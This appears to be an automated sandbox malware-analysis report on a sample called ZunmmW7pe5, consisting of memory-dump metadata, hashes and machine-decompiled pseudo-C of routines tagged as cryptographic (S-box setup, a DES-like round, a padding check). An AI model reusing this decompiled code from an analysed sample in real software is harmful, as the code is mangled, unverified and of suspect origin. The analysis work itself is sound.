0x7ff7e3716b20
0x7ff7e3716b29
0x7ff7e3716b35
0x7ff7e3716b38
0x7ff7e3716b44
0x7ff7e3716b47
0x7ff7e3716b52
0x7ff7e3716b55
0x7ff7e3716b59
0x7ff7e3716b60
0x7ff7e3716b63
0x7ff7e3716b65
0x7ff7e3716b6b
0x7ff7e3716b6d
0x7ff7e3716b73
0x7ff7e3716b75
0x7ff7e3716b78
0x7ff7e3716b7e
0x7ff7e3716b81
0x7ff7e3716b88
0x7ff7e3716b8a
0x7ff7e3716b9a
0x7ff7e3716ba0
0x7ff7e3716ba4
0x7ff7e3716bb0
0x7ff7e3716bb9
0x7ff7e3716bc5
0x7ff7e3716bc8
0x7ff7e3716bd4
0x7ff7e3716bd7
0x7ff7e3716be2
0x7ff7e3716be5
0x7ff7e3716be9
0x7ff7e3716bf0
0x7ff7e3716bf3
0x7ff7e3716bf5
0x7ff7e3716bf8
0x7ff7e3716bfe
0x7ff7e3716c01
0x7ff7e3716c08
0x7ff7e3716c20

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c13c5bd54b769ee0715deadf19bc9cde41b864ea6de77fa088d7484b4ea0f21e
Instruction ID: 67e1ab0dc3f8868ddc918208c97478353ae8602e0712f889294921cee1becd88
Opcode Fuzzy Hash: c13c5bd54b769ee0715deadf19bc9cde41b864ea6de77fa088d7484b4ea0f21e
Instruction Fuzzy Hash: BC91E5B36189A187D3688F25E0A0B3DFFE0E7C9B41B95D02ACB9617791C63CD516CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3716640 Relevance: .2, Instructions: 201
COMMONCrypto

Download Yara Rule

C-Code - Quality: 80%

			E00007FF77FF7E3716640(void* __ecx, long long __rbx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r10, void* __r11, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _v24;
				signed int _v1048;
				intOrPtr _v2016;
				void* _v2020;
				void* _v2028;
				void* _v2036;
				void* _v2068;
				unsigned int _t108;
				unsigned int _t110;
				signed int _t169;
				signed int _t179;
				signed int _t188;
				signed int _t192;
				void* _t212;
				signed long long _t216;
				signed long long _t217;
				void* _t235;
				void* _t236;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_a32 = __rdi;
				_t236 = _t235 - 0x800;
				r10d = 1;
				_t188 = r10d;
				r8d = 0;
				r11d = 0x100;
				_t216 = _t188;
				_v1048 = _t188;
				 *(_t236 + _t216 * 4) = r8d;
				asm("sbb ecx, ecx");
				r8d = r8d + 1;
				_t212 = r8d - r11d;
				if (_t212 < 0) goto 0xe3716680;
				r9d = 0xa;
				 *0xe3769a70 = r10d;
				asm("sbb ecx, ecx");
				if (_t212 != 0) goto 0xe37166c0;
				 *0xe37699d3 = r9b;
				 *0xe3769470 = 0x63;
				r8d =  *(_t236 + 0x400 + _t216 * 4);
				_t108 = (r8d >> 0x00000007 | 0xffefc6ed34e0) & 0x000000ff;
				r8d = r8d ^ _t108;
				_t110 = (_t108 >> 0x00000007 | _t108 + _t108) & 0x000000ff;
				r8d = r8d ^ _t110;
				_t192 = (_t110 >> 0x00000007 | _t110 + _t110) & 0x000000ff;
				_t169 = (_t192 >> 0x00000007 | __rdx + __rdx) ^ 0x00000063;
				r8d = r8d ^ _t169 & 0x000000ff ^ _t192;
				_t217 = r8d;
				 *0x7FF7E3769470 = r8b;
				 *((intOrPtr*)(_t217 + 0x7ff7e3769970)) = r10b;
				r10d = r10d + 1;
				if (r10d - r11d < 0) goto 0xe3716700;
				r9d = 0;
				asm("sbb ecx, ecx");
				_t179 = ((((_t169 & 0x0000001b ^ __rdx + __rdx) & 0x000000ff ^  *0xFFEFC6ED28E1 & 0x000000ff) << 0x00000008 ^  *0xFFEFC6ED28E1 & 0x000000ff) << 0x00000008 ^  *0xFFEFC6ED28E1 & 0x000000ff) << 0x00000008 ^ (_t169 & 0x0000001b ^ __rdx + __rdx) & 0x000000ff;
				 *0x27FD771510064 = _t179;
				asm("rol ecx, 0x8");
				 *0x27FD77150FC64 = _t179;
				asm("rol ecx, 0x8");
				 *0x27FD77150F064 = _t179;
				asm("rol ecx, 0x8");
				 *0x27FD77150EC64 = _t179;
				if (( *0xFFEFC6ED2DE1 & 0x000000ff) == 0) goto 0xe37168a4;
				r8d =  *(_t236 + _t217 * 4);
				r10d =  *(_t236 + 0x400 + (0xe3769a70 + _v2016 - (((0x80808081 * (0xe3769a70 + _v2016) >> 0x20) + 0xe3769a70 + _v2016 >> 7) + ((0x80808081 * (0xe3769a70 + _v2016) >> 0x20) + 0xe3769a70 + _v2016 >> 7 >> 0x1f)) * 0xff) * 4);
				goto 0xe37168ad;
				r10d = 0;
				 *0x27FD77150F864 = 0 << 8;
				asm("rol eax, 0x8");
				 *0x27FD77150F464 = 0 << 8;
				asm("rol eax, 0x8");
				 *0x27FD771510464 = 0 << 8;
				asm("rol eax, 0x8");
				 *0x27FD77150E734 = 0 << 8;
				if (__r11 - 1 != 0) goto 0xe3716790;
				return 0xbadbad << 0x00000008 ^ r10d;
			}

0x7ff7e3716640
0x7ff7e3716645
0x7ff7e371664a
0x7ff7e371664f
0x7ff7e371665a
0x7ff7e3716661
0x7ff7e371666f
0x7ff7e3716672
0x7ff7e3716675
0x7ff7e3716680
0x7ff7e3716683
0x7ff7e371668a
0x7ff7e3716697
0x7ff7e3716699
0x7ff7e37166a6
0x7ff7e37166a9
0x7ff7e37166b5
0x7ff7e37166c2
0x7ff7e37166d0
0x7ff7e37166dd
0x7ff7e37166df
0x7ff7e37166f2
0x7ff7e3716711
0x7ff7e3716725
0x7ff7e3716728
0x7ff7e3716734
0x7ff7e3716737
0x7ff7e3716743
0x7ff7e3716750
0x7ff7e3716758
0x7ff7e371675b
0x7ff7e371675e
0x7ff7e3716762
0x7ff7e371676a
0x7ff7e3716770
0x7ff7e3716777
0x7ff7e37167a2
0x7ff7e37167bd
0x7ff7e37167c8
0x7ff7e37167d0
0x7ff7e37167d3
0x7ff7e37167db
0x7ff7e37167de
0x7ff7e37167e6
0x7ff7e37167e9
0x7ff7e37167f3
0x7ff7e37167f9
0x7ff7e3716823
0x7ff7e37168a2
0x7ff7e37168a4
0x7ff7e37168bd
0x7ff7e37168c5
0x7ff7e37168c8
0x7ff7e37168d0
0x7ff7e37168d3
0x7ff7e37168db
0x7ff7e37168de
0x7ff7e37168ed
0x7ff7e3716914

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4934a5163918efe2b0271314f9fae7b6dfeaa89ce4a763474970fc3664b9ff5b
Instruction ID: 273779a1880080b654249a98dfb4dfb2e8735fd019c559476fd1c455e949ffa4
Opcode Fuzzy Hash: 4934a5163918efe2b0271314f9fae7b6dfeaa89ce4a763474970fc3664b9ff5b
Instruction Fuzzy Hash: 5F7112737285518BD74CCF38D8666AA7BD5E789349F89823AEA46C3B84DA3CD116C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3735E90 Relevance: .2, Instructions: 196
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00007FF77FF7E3735E90(void* __eflags, signed int __rax, long long __rbx, unsigned int __rcx, unsigned int __rdx, long long __rdi, long long __rsi, char* __r8, signed int __r9, signed int __r10, long long __r14, long long _a8, long long _a16, long long _a24, long long _a32) {
				signed int _t87;
				signed int _t100;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				signed int _t105;
				signed int _t107;
				signed int _t108;
				unsigned int _t109;
				signed int _t117;
				signed int _t144;
				signed int _t157;
				signed int _t169;
				unsigned long long _t179;
				unsigned long long _t180;
				unsigned long long _t181;
				unsigned long long _t182;
				unsigned long long _t183;
				unsigned long long _t184;
				unsigned long long _t185;
				unsigned long long _t186;
				unsigned long long _t187;
				signed long long _t188;
				unsigned long long _t190;
				void* _t194;

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_a32 = __r14;
				r9d =  *__rdx & 0x000000ff;
				r8d =  *(__rdx + 4) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *(__rdx + 1) & 0x000000ff;
				r8d = r8d << 8;
				r9d = r9d << 8;
				r9d = r9d |  *(__rdx + 2) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *(__rdx + 3) & 0x000000ff;
				r8d = r8d |  *(__rdx + 5) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 6) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 7) & 0x000000ff;
				_t87 = (r9d >> 0x00000004 ^ r8d) & 0x0f0f0f0f;
				r8d = r8d ^ _t87;
				r9d = r9d ^ _t87 << 0x00000004;
				_t117 = (r9d >> 0x00000010 ^ r8d) & 0x0000ffff;
				r8d = r8d ^ _t117;
				r9d = r9d ^ _t117 << 0x00000010;
				r9d = r9d ^ (r8d >> 0x00000002 ^ r9d) & 0x33333333;
				r8d = r8d ^ __rax * 0x00000004;
				_t100 = (r8d >> 0x00000008 ^ r9d) & 0x00ff00ff;
				r9d = r9d ^ _t100;
				_t102 = _t100 << 0x00000008 ^ r8d;
				asm("rol eax, 1");
				r11d = _t102;
				r11d = r11d ^ r9d;
				r11d = r11d & 0xaaaaaaaa;
				_t103 = _t102 ^ r11d;
				r11d = r11d ^ r9d;
				asm("inc ecx");
				asm("o16 nop [eax+eax]");
				_t194 = __rcx + 0x10;
				r9d = _t103;
				r10d =  *__rcx ^ _t103;
				_t179 = __rcx >> 0x10;
				asm("inc ecx");
				r9d = r9d ^  *(_t194 - 0xc);
				_t190 = __rdx >> 0x18;
				r8d =  *(0x7ff7e3710000 + 0x489c0 + _t190 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ef0 + _t179 * 4);
				_t180 = _t179 >> 8;
				r10d = r10d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48bf0 + _t180 * 4);
				_t181 = _t180 >> 0x18;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x488c0 + _t181 * 4);
				_t182 = _t181 >> 0x10;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ff0 + _t182 * 4);
				_t183 = _t182 >> 8;
				r9d = r9d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x487b0 + _t183 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48cf0 + __r10 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48df0 + __r9 * 4);
				r10d =  *(_t194 - 8);
				r11d = r11d ^ r8d;
				r10d = r10d ^ r11d;
				asm("ror ecx, 0x4");
				r9d = r11d ^  *(_t194 - 4);
				_t184 = _t183 >> 0x10;
				r8d =  *(0x7ff7e3710000 + 0x488c0 + (_t190 >> 0x18) * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ff0 + _t184 * 4);
				_t185 = _t184 >> 8;
				r9d = r9d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x487b0 + _t185 * 4);
				_t186 = _t185 >> 0x18;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x489c0 + _t186 * 4);
				_t187 = _t186 >> 0x10;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48ef0 + _t187 * 4);
				_t188 = _t187 >> 8;
				r10d = r10d & 0x0000003f;
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48bf0 + _t188 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48df0 + __r9 * 4);
				r8d = r8d ^  *(0x7ff7e3710000 + 0x48cf0 + __r10 * 4);
				_t104 = _t103 ^ r8d;
				if (__eflags != 0) goto 0xe3735f80;
				asm("ror eax, 1");
				r8d = _t104;
				r8d = r8d ^ r11d;
				r8d = r8d & 0xaaaaaaaa;
				_t105 = _t104 ^ r8d;
				r8d = r8d ^ r11d;
				asm("inc ecx");
				_t144 = (r8d >> 0x00000008 ^ _t105) & 0x00ff00ff;
				r8d = r8d ^ _t144 << 0x00000008;
				_t107 = _t105 ^ _t144 ^ (r8d >> 0x00000002 ^ _t105 ^ _t144) & 0x33333333;
				r8d = r8d ^ _t188 * 0x00000004;
				_t169 = (_t107 >> 0x00000010 ^ r8d) & 0x0000ffff;
				r8d = r8d ^ _t169;
				_t108 = _t107 ^ _t169 << 0x00000010;
				_t157 = (_t108 >> 0x00000004 ^ r8d) & 0x0f0f0f0f;
				r8d = r8d ^ _t157;
				_t109 = _t108 ^ _t157 << 0x00000004;
				 *((intOrPtr*)(__r8 + 7)) = r8b;
				 *(__r8 + 3) = _t109;
				 *__r8 = _t109 >> 0x18;
				 *((char*)(__r8 + 1)) = _t109 >> 0x10;
				 *((char*)(__r8 + 4)) = r8d >> 0x18;
				 *((char*)(__r8 + 5)) = r8d >> 0x10;
				 *((char*)(__r8 + 6)) = r8d >> 8;
				 *((char*)(__r8 + 2)) = _t109 >> 8;
				return 0;
			}

0x7ff7e3735e90
0x7ff7e3735e95
0x7ff7e3735e9a
0x7ff7e3735e9f
0x7ff7e3735eaf
0x7ff7e3735eb6
0x7ff7e3735ebe
0x7ff7e3735ec7
0x7ff7e3735eca
0x7ff7e3735ed2
0x7ff7e3735ed6
0x7ff7e3735edd
0x7ff7e3735ee1
0x7ff7e3735ee8
0x7ff7e3735eef
0x7ff7e3735ef3
0x7ff7e3735efa
0x7ff7e3735efe
0x7ff7e3735f0a
0x7ff7e3735f0f
0x7ff7e3735f15
0x7ff7e3735f21
0x7ff7e3735f24
0x7ff7e3735f2a
0x7ff7e3735f3b
0x7ff7e3735f45
0x7ff7e3735f51
0x7ff7e3735f56
0x7ff7e3735f5c
0x7ff7e3735f5f
0x7ff7e3735f61
0x7ff7e3735f64
0x7ff7e3735f67
0x7ff7e3735f6e
0x7ff7e3735f71
0x7ff7e3735f74
0x7ff7e3735f77
0x7ff7e3735f82
0x7ff7e3735f88
0x7ff7e3735f8b
0x7ff7e3735f90
0x7ff7e3735f97
0x7ff7e3735f9b
0x7ff7e3735f9f
0x7ff7e3735fa6
0x7ff7e3735fae
0x7ff7e3735fb9
0x7ff7e3735fbd
0x7ff7e3735fc4
0x7ff7e3735fcf
0x7ff7e3735fd6
0x7ff7e3735fe1
0x7ff7e3735fe8
0x7ff7e3735ff3
0x7ff7e3735ff7
0x7ff7e3735ffe
0x7ff7e3736006
0x7ff7e373600e
0x7ff7e3736016
0x7ff7e373601a
0x7ff7e373601d
0x7ff7e3736023
0x7ff7e3736029
0x7ff7e373602e
0x7ff7e373603c
0x7ff7e3736044
0x7ff7e373604f
0x7ff7e3736053
0x7ff7e373605a
0x7ff7e3736065
0x7ff7e373606c
0x7ff7e3736077
0x7ff7e373607e
0x7ff7e3736089
0x7ff7e373608d
0x7ff7e3736094
0x7ff7e373609c
0x7ff7e37360a4
0x7ff7e37360ac
0x7ff7e37360b3
0x7ff7e37360c8
0x7ff7e37360ca
0x7ff7e37360cd
0x7ff7e37360d0
0x7ff7e37360d7
0x7ff7e37360da
0x7ff7e37360dd
0x7ff7e37360e8
0x7ff7e37360f3
0x7ff7e3736104
0x7ff7e373610d
0x7ff7e3736118
0x7ff7e373611b
0x7ff7e3736121
0x7ff7e373612b
0x7ff7e3736131
0x7ff7e3736137
0x7ff7e3736139
0x7ff7e373613f
0x7ff7e3736145
0x7ff7e373614c
0x7ff7e373615a
0x7ff7e3736163
0x7ff7e373616c
0x7ff7e3736171
0x7ff7e3736179

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9de438741410f0f05a007455e0e202b7ef85a97a30d07e1107f0bfe8f5b76e21
Instruction ID: cf60842675a8a24742f9496718504efba68fa3f9eb381db092e45ae1ce55b19a
Opcode Fuzzy Hash: 9de438741410f0f05a007455e0e202b7ef85a97a30d07e1107f0bfe8f5b76e21
Instruction Fuzzy Hash: 1861FFB37340A04BE3699639A835E3E3BD1E39A748748A529EF42C3E85CD2CD901CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3737F20 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfe8dda54deca09fc35bfdb48cd463bea21eaa12bcbe059ad42a4acd727624c2
Instruction ID: 233ff1f5ea0225a52fe559b711e70b5906b6c89580d19a3b801a41da67e98e46
Opcode Fuzzy Hash: cfe8dda54deca09fc35bfdb48cd463bea21eaa12bcbe059ad42a4acd727624c2
Instruction Fuzzy Hash: 09619B326242908BC3948F29A884A7DBBE1F78CB45F858136EB4993744EA3DD955C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E371ACC0 Relevance: .2, Instructions: 172
COMMONCrypto

Download Yara Rule

C-Code - Quality: 27%

			E00007FF77FF7E371ACC0(void* __ebx, void* __edx, void* __ebp, long long __rbx, void* __rcx, void* __rdx, long long __rbp, void* __r8, signed int __r10, signed long long __r11, long long __r15, long long _a8, long long _a16, long long _a24, signed long long* _a40, intOrPtr _a48, intOrPtr _a56, long long _a64) {
				void* _v24;
				signed char _v1047;
				signed char _v1048;
				unsigned long long _v1064;
				void* __rdi;
				void* __rsi;
				void* __r14;
				signed int _t30;
				signed int _t42;
				void* _t52;
				signed int _t69;
				void* _t86;
				unsigned long long _t101;
				unsigned long long _t108;
				void* _t109;
				signed long long _t110;
				long long* _t113;
				intOrPtr _t115;
				void* _t122;
				signed long long _t126;
				signed long long _t128;
				void* _t129;
				void* _t132;
				void* _t134;
				void* _t135;
				signed long long _t149;

				_t149 = __r11;
				_t122 = __rdx;
				_t52 = __ebx;
				_a16 = __rbx;
				_a24 = __rbp;
				_t135 = _t134 - 0x430;
				_t115 =  *((intOrPtr*)(__rcx + 8));
				dil = 0;
				_t132 = _t115 - 0xb;
				_t152 =  >  ? _t132 : _a64;
				if ( *((intOrPtr*)(__rcx + 0x148)) != 0) goto 0xe371af18;
				if (_t115 - 0x10 - 0x3f0 > 0) goto 0xe371af18;
				_t101 =  &_v1048;
				_v1064 = _t101;
				_a8 = __r15;
				_t30 = E00007FF77FF7E37199D0(_t115 - 0x10 - 0x3f0, _t101, _t115, __rcx, __rdx, _t126, _t129, __r8, _a48);
				r15d = _t30;
				if (_t30 != 0) goto 0xe371aef5;
				r8d = _v1048 & 0x000000ff;
				r8d = r8d | _v1047 & 0x000000ff ^ 0x00000002;
				if (_t122 - _t115 >= 0) goto 0xe371ad91;
				asm("o16 nop [eax+eax]");
				dil = dil |  !( ~( *(_t135 + _t122 + 0x30) & 0xff) |  *(_t135 + _t122 + 0x30) & 0x000000ff) >> 0x00000007;
				_t130 = _t129 + (_t101 >> 7);
				if (_t122 + 1 - _t115 < 0) goto 0xe371ad60;
				r10d = _t52;
				r11d = r14d;
				r10d = r10d;
				r10d = r10d - 3;
				_t16 = _t130 - 8; // -8
				r8d = r8d | (( ~(dil & 0xffffffff) | dil & 0xffffffff) >> 0x0000001f) - 0x00000001 & 0x00000001 | dil & 0xffffffff;
				_t69 =  ~(( ~r8d | r8d) >> 0x1f);
				r15d = _t69;
				r15d =  !r15d;
				_t42 = _t69;
				_t108 = ( >  ? _t132 : _a64) - (__r10 & _t16 >> 0x0000003f | _t16 >> 0x0000003f & _t149) >> 0x3f;
				r9d = _t42;
				r9d =  ~r9d;
				r9d = r9d | _t42;
				r9d = r9d >> 0x1f;
				r9d =  ~r9d;
				r15d = r15d & r9d;
				r15d = r15d & 0x00004400;
				r15d = r15d | _t69 & 0x00004100;
				r15d =  ~r15d;
				if (_t115 - _t108 <= 0) goto 0xe371ae9c;
				if (_t132 - 0x20 < 0) goto 0xe371ae83;
				asm("movd xmm2, ecx");
				asm("punpcklbw xmm2, xmm2");
				asm("punpcklwd xmm2, xmm2");
				asm("pshufd xmm2, xmm2, 0x0");
				asm("pandn xmm2, [0x4407e]");
				asm("movdqu xmm0, [esp+eax+0x30]");
				asm("movdqa xmm1, xmm2");
				asm("pand xmm1, xmm0");
				asm("movdqu [esp+eax+0x30], xmm1");
				asm("movdqu xmm0, [esp+eax+0x40]");
				asm("movdqa xmm1, xmm2");
				asm("pand xmm1, xmm0");
				asm("movdqu [esp+eax+0x40], xmm1");
				_t109 = _t108 + 0x20;
				if (_t109 - _t115 - _t132 < 0) goto 0xe371ae52;
				if (_t109 - _t115 >= 0) goto 0xe371ae9c;
				asm("o16 nop [eax+eax]");
				 *(_t135 + _t109 + 0x30) =  *(_t135 + _t109 + 0x30) &  !( ~(( ~(_t42 | r8d) | _t42 | r8d) >> 0x1f));
				_t110 = _t109 + 1;
				if (_t110 - _t115 < 0) goto 0xe371ae90;
				_t128 = _t126 & _t110 | _t110 & _t149;
				E00007FF77FF7E371ABF0(_t115 - ( >  ? _t132 : _a64),  &(( &_v1048)[_t115 - ( >  ? _t132 : _a64)]), _t152, _t128, _t129 + (_t101 >> 7), _t152 - _t128, _t152);
				if (_a64 == 0) goto 0xe371aeea;
				E00007FF77FF7E373BC10( ~(( ~(_t42 | r8d) | _t42 | r8d) >> 0x1f),  !r9d, 0, _t86, _a56,  &(( &_v1048)[_t115 - ( >  ? _t132 : _a64)]), _t128, _t129 + (_t101 >> 7), _t152);
				 *_a40 = _t128;
				_t113 =  *0xe3754598; // 0x7ff7e373b860
				r8d = 0x400;
				 *_t113();
				goto 0xe371af1d;
				return 0xffffbf80;
			}

0x7ff7e371acc0
0x7ff7e371acc0
0x7ff7e371acc0
0x7ff7e371acc0
0x7ff7e371acc5
0x7ff7e371acce
0x7ff7e371acdf
0x7ff7e371ace3
0x7ff7e371ace6
0x7ff7e371aced
0x7ff7e371acf7
0x7ff7e371ad07
0x7ff7e371ad15
0x7ff7e371ad1a
0x7ff7e371ad1f
0x7ff7e371ad27
0x7ff7e371ad2c
0x7ff7e371ad31
0x7ff7e371ad41
0x7ff7e371ad4a
0x7ff7e371ad50
0x7ff7e371ad56
0x7ff7e371ad74
0x7ff7e371ad89
0x7ff7e371ad8f
0x7ff7e371ad95
0x7ff7e371ad9a
0x7ff7e371ad9f
0x7ff7e371ada4
0x7ff7e371adab
0x7ff7e371adba
0x7ff7e371adc8
0x7ff7e371adcc
0x7ff7e371add1
0x7ff7e371add7
0x7ff7e371adeb
0x7ff7e371adef
0x7ff7e371adf2
0x7ff7e371adf5
0x7ff7e371adfb
0x7ff7e371ae03
0x7ff7e371ae06
0x7ff7e371ae0b
0x7ff7e371ae15
0x7ff7e371ae1a
0x7ff7e371ae25
0x7ff7e371ae2b
0x7ff7e371ae39
0x7ff7e371ae3d
0x7ff7e371ae41
0x7ff7e371ae45
0x7ff7e371ae4a
0x7ff7e371ae52
0x7ff7e371ae58
0x7ff7e371ae5c
0x7ff7e371ae60
0x7ff7e371ae66
0x7ff7e371ae6c
0x7ff7e371ae70
0x7ff7e371ae74
0x7ff7e371ae7a
0x7ff7e371ae81
0x7ff7e371ae86
0x7ff7e371ae8a
0x7ff7e371ae90
0x7ff7e371ae94
0x7ff7e371ae9a
0x7ff7e371aebb
0x7ff7e371aec7
0x7ff7e371aed5
0x7ff7e371aee5
0x7ff7e371aef2
0x7ff7e371aef5
0x7ff7e371af03
0x7ff7e371af09
0x7ff7e371af16
0x7ff7e371af34

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb4632ab18b5588da165b9cf2d6e179e941f3a7ad71b2608c49770b5183008de
Instruction ID: c7e58bfd0bb17f76138fc2114ddd1496c0cdebb7fe77f05f848941c8c1cf60f3
Opcode Fuzzy Hash: bb4632ab18b5588da165b9cf2d6e179e941f3a7ad71b2608c49770b5183008de
Instruction Fuzzy Hash: 1F518E63A2868546EBA15B36E4413B9AB90F788784FC46636EFCE67B81DF3CC1458310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3714900 Relevance: .2, Instructions: 168
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E3714900(void* __rcx, void* __rdx, void* __r8) {
				void* _v616;

				if (__r8 - 0x180 <= 0) goto 0xe3714939;
				return 0xffffffc8;
			}

0x7ff7e3714925
0x7ff7e3714938

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
